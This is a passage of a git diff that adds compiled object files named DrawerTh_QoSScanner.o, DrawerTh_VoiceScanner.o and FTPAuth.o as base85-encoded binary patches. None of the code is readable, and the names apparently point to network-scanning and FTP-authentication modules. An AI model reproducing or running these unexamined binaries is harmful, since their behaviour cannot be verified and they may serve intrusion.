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 U`&mztcAIcfM><Myk@G0>|1bD{T>t<8 literal 0 HcmV?d00001 diff --git a/DrawerTh_QoSScanner.o b/DrawerTh_QoSScanner.o new file mode 100644 index 0000000000000000000000000000000000000000..1fe2acd2ff679581ee29fd5424fab25928e132e3 GIT binary patch literal 9992 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 literal 0 HcmV?d00001 diff --git a/DrawerTh_VoiceScanner.o b/DrawerTh_VoiceScanner.o new file mode 100644 index 0000000000000000000000000000000000000000..57279bc08382dc947d37316ca91497d88ae0e8fa GIT binary patch literal 10472 zcmcJV3vg7`8G!HRZX^=An_3?kL9<G*iH~)cX9B3X$!>BZ3j{U<hl<Oxdm%gQBktaW z;AjX<g59nQu`^0L*wU$W>P&I!IIXR12ST9&t&WsB6~!q+ZO2HN(oq=))b#()J!kXh zW-p~P_Mh3DbHDSy&g(u7Z1o44OKdhth)udz8ov@$l1@w;uQ#x2gLIR0Bh$SauFK(v zcBqD>gO}GrNkz?-;-#9a8^v<?zg;V<mF!zehd=wOvdW)*U1?XcAFm2#|ELc9vqsH* z1%2e=)m>`NyRFZjgDdCG@0Cc>&{*FMdEfq0HLq9CP_u8?MzX%@86TiJx1ttRVBsHn zzpt_>@B8r;+GL=Yeh7m$MdJi=_h7iz+=4=8d%$MsBxbhTh!V(-O~~vfBf&WZi=`~e zg}xey^0LV6)C3!OTQBeU55d|$bgpj(D8Epu8u8f(OfZ-f<QN3W`Ks3qjr2{&k`LOc zysy9X@|Jzrp>x<Fh-VD-gyaSe)qG>E@}RO-c}NKzbXGOM=!@`b_LM63RH*q5JDV5C z+_~eSv9U2D`^nx$6=-B8**Dbev}$5G=G>A00vdDEs>i3pHUbl0nD)^)C~O!u>`xKf z3(lQ;plS4_LOaY#p?x#}*jXhNkNduJ$LY@tarx3Q#T@~K4Q^-EAkHoGlU-a5nW@=8 zby*>fFE^vwKXlT$V=eOsP0$g(N=yzHp+o8qM^cR9XoBWT_;ldI8-|tD`<{k0ln!N; z(!MHaY@@qaX1T{CzCj8VHdp<NB<J9FF?VC{_SeDnGjP5CW0-z!!ge)i9!6I}^Z$O~ z9O}e1VP0mwLI!Z3VF?b7IER*kY9Kd@<QK@Xo(FRC5b_P1t59GW@xEr;tIJ@X04<eZ z$@y|+yg|v$S916Ha-yrbGCB}y?m8pPW0G=s3RacFR~dyL3)3*c?FTjN)svf$h#1Cj zvN-#35?O6@Ele!aVt;U2@fN9OKgY?1bgPDr=jJ#EcSCcoscaSu!q)m@&cTy#twxUT zD}!>s9sU^k55cB6=p38}GppwOk}n&vtJzmoxvN5rG}x8;LtEw6$e}>~&h2XUZB<@U z(OUaSAp4;@aON{u(}oXNNWMiI?arOMz^(J;<>k(ogXIIK`v=Z!z4{Mo{iSaO%e!xe zNh>q%4aR)|)-b;{)L+ui<Zc)`uFo8}IHs4MAGq7*eCl_D$91QgT`Lhg6$1Sl^WRs< z|LnWYs(v8Sz!x^><1=t^M1s(RQ@;8$k1oRAoZaKBg7tBKesPV_bV8MzD!doe{I$bs z?M3WJp%<g~fdklTps!{NdW(l!BX1T{Kf7ncFtZ&!0CS>d55s+fU5_UTnJ~iscu$^v z2S%IKMZ?(cS+?m5OTR7KF4|yE^~<GuW!sPBsV~aXZ)5;4FB1f|aQ2ch(Nl76HPU6z zwUuo<gR`9Pv(>-l+;w1}&er1@JlgH?9u-m4oQ$f_i5FG5ts;B-K!e?8jO;<9zk^5h z)3204sO-hFM@d8lR@QlT=g9t9t^G(naH#~N51rIKYR=i3g;j7wm6eLziZZqKRW<vG zdf@XCBcJY>YUCWOoEOkt!1e)|$?^N+K)tQ!y4=Hd?@=}^t+*A1M|&W0uJyp*ON_ZY zSo==xhiZQA<FJa=17}LOzP-Bk0lO+URGh_Il%(eGVFl!9jI($u8XGjvc0OjpUPn;X zBrQ!%3tcrW%U0F8=DO?Lb6m4M-npK7uh&(xQj5COux{|X7Sy7pc;B%-vQo13R@kOb zn^HCmlU4z3Gq`IfFOhkQFj#I(gr2aoJ<=9nUZ>z@mZl5eZE#V|EF@_JV%f3Y=%~n- zG&(AukbMr<cDv6}Gf?VtcuKxM)ls83T#BO-G#VXc{_=#0DEKZ{1HaeM4~T|;6i3DO z60jPOTO6*E=BbWKAc~``rCh3m=1)-vWH0_<vHchuB5k)T7<-w+(`yQ}1Olm`K9?`* zrLtkWvjl8+$bN?_Z}&TDp1{1fU!^$e2BtJS*2&M=raI~rhX>p?I$Y32(Gm33&wc#` zOK8|x(t^G~F>h}~Utq|6`5fy?eqYp8b2*#G*SIe?xRRDQDjsr_Ns>FWC83AcL#d~Y zvQyO3T0HF5wO(CvN5gtpa<9*1BzJ+jLu-~TSka+H^i;Yv=J$HjS~wn0MSP&^kHzM% zXpV<BW?GkdJu8%SI=ltBcfNuuVLg^gF7Lv>e!t}27>R_m-iX$vhaiQx_T_oDN_Kv@ zt4m8p{VSKmta~(1ONTR>zbzK@hNxCX52y9+E{<Z!m>vpa2RXp8a{E@pKy7e`LK}N~ zLtR=rlS+o;F?~y@$0NBTsYF6c!muV&y5@$xco(>gY~uD>XJ|t@oX}ug(kTe@rN}cd z_g^jIsev=`IW!%v@hyq%IZ|5L2e>_~BqnHoJN&NHzTGgBsQn%PgZ+a=>~Ah&?*fL) zpS`s}DMSo!2Rw_YRL~2kW4}b7Xww5##??CR81>MV=uahAz70x@kGBLWM@(@=n>p5< z(11Rz?D^If=96-r4=t?!?A@%OCLQDPM@$aP{r7^2IVbe;t67FG7q`d$UkyKV{|AAg zN{K1{FngOc?$6L%5Ob`*K})gxN4ULKurw;>{QnBr>=QLl;KYE4dBXg0FPQT$gW$#D zd${6WbV9@&Uk2l1@z3-49&U^A@vOld-!0;k7+8IeE3$h!X*0*KwTSQfx?wcTZ81LD zn&T^Ak9nEbUj<G!h|o8#CSNbMi2ovwPsjfn;!p6Ey#KOk{Zw9Id^~t4HvUJ7#K(6Y z(H{|C=kdiniGI3xeD>ibAe5laM3j$ldyWgmQf^-Wydvxb{|>h|bzf@Z_V1YtME=4) z5ADVJ{~qr@u5T2af9$ic7yZX)hk5P+NgjN;0(sUH-*m~w!<;+XRq_|i6a4;(?}qp) zYmSfIEEfO#jnDuRHFeG$-_V-;7xnDYzsVQpxQ@*3<m1<(CQDO9bwVi@vYvn;@8Xjz zOMLJqs)Ih>fhLR0c3?4X-tERbmav^{=!^S92VB}no^+gK33uLPkqch|6We6zhKYb* z$%VV=#AaE#ej+I7(=5hSWU1JS!F5n<B_KB~0&s=Tg=@$>if@o7flnSaN&1Ne$NPIR z{o~xfXcPW%K?w%cg4_mO#e7_x2>ms{i|J>9-%8fc2wbE53Cdea#MjyQemQ61rxu2? zn17E2UuMC(Ecj*%K4ignS@7p9_%AH@Aq)OC@LS0~67L5eF^*3%L&S620ZXdb_*@Sh z=gY(O**6{3y%zclEqId!zu$rfE%<{LJYvD)7F-98{pyDjg?(Q_`ILqJvljd%3x3#w zziz?bwBT=9@OLfvX$$_o1^>{3|I31ZWWhhR;5Wi8so1)jZNcwH4r|mbt1a{;Upl;5 zOSgB1I#RKS7L0_GNiFS;bahFgmca5xB@hZ_y4QzVL-4ge+gnuIJ13g*Ct|u1jRs;# z&EF%1)&%uHT__Yw;nyu({tu=+>hk91puauTt~3VxA*m<R-gy}}br~AlGT2-rPwYfX zIu`ZEF5|L3b46;iz2iRH;i#i69*)4*IvWGaJmxdslhnVI!;s4z9Kbx#!<0I9+!EF` ze<G169Jd5RMGsjLS|ZZ51qY0}@Om?y;j|VFCA;Hs|D;w=)Hu??7;V8&A|ZjBjD{<s z{^7=OlpW^4atTFx!=d%s##k~0XFCy?YDUtU-kDBq=2vjuB3f4^H^<;=rIzW2bB>~i zB#<Z>PkLT6v1P&`4P=){^?=7U-Z_czCXMY0T+=ZjQjZdk^#n3HRFbI#tE_HjMX)>5 z#VUc+<~Xas?m@-nJ!#`Q7*r8J0v0=IPP#h@OQ*0E@dQlT9E)z$^wx|Ti$=91S}$19 z-U)|g(fNr?T+_Pz2?>+ZB+RJEE3IypnqzTY!aSr#MOxmYrQ;H&CuK67l8#4B;AM$- z-iqLsjIJfxfwV?a$@*BPBbJH537WBfgL+*ol?knfQ>?kIu#ua*#kr61P&AVYb%vAC zI8F)9C`@}VY=0EEy)nTzS$ymJ3{K=xzGh(dhC=yF3%;Cid?yut`Z$N%96LV}e2D1Z zP4r)~(0_&K<1<_M`G<x6Iiine974a6zh{~Asp1^RVK&hZSm-B+{v4u@--9S-|ARz- zF0_k$erch<kLcssztA7G&==p&m_N<udj8D8eDM5D_*p<Wp6dzTMmW{)CY<U&K{(al zYr&6L@N<My|JU*bYR>;&!l^#KN1>SY@x7=Rf0}di`rkwJ@l#Zc&+~-iH?815BYqYT zzMt?q!jBU_^@P7o^cNC7O86qeFA%<%a2W>x1p9^mvLy1XApBm!ZzB9Y!fz+Mf$#-{ zD}?(9ZzOyZ;Z1~RILE?A_&13@^^+x>_IH@@2I6NI;dI=7KsX)epAt^T;Sk|;+}<Rd zj>AdLaarRTk{JIpM4#qAO8A8NDg|Q@oJSh>4#H`kb%fJ=nmETWc=jXmSxPuvhvEdo ztdHkND9Gu)z`c)xobC%8a}?xN@Dp*jA_PJ1f}h~~ppJt5y#;=PUqT3i`nSSQaK8<y z!Dm7#IG*dFpg!f>2(N}Vq5mY|vj`XGU*@>a6Ma1D6@GqBI3B?X{#(Lp2*+m)3i`)? zpAq_-5Q3QbZUZxZC)9;LzYVaH6|@mtoH!x#6HcG+&4lBeqTsr1fuHbm3qla&)IZ*P zQIM(d6Z*(du-iD7W<g#{po`bhKmLT^vl2yc@y&&?Py~0eD@oeOOXN56Iu?)eI&!|` v85ts+A5}7PjPNPEj>Tt$i?d8bb$otBKKPD;BA)w#i|=y$zicST>G=Ey4)$8j literal 0 HcmV?d00001 diff --git a/FTPAuth.o b/FTPAuth.o new file mode 100644 index 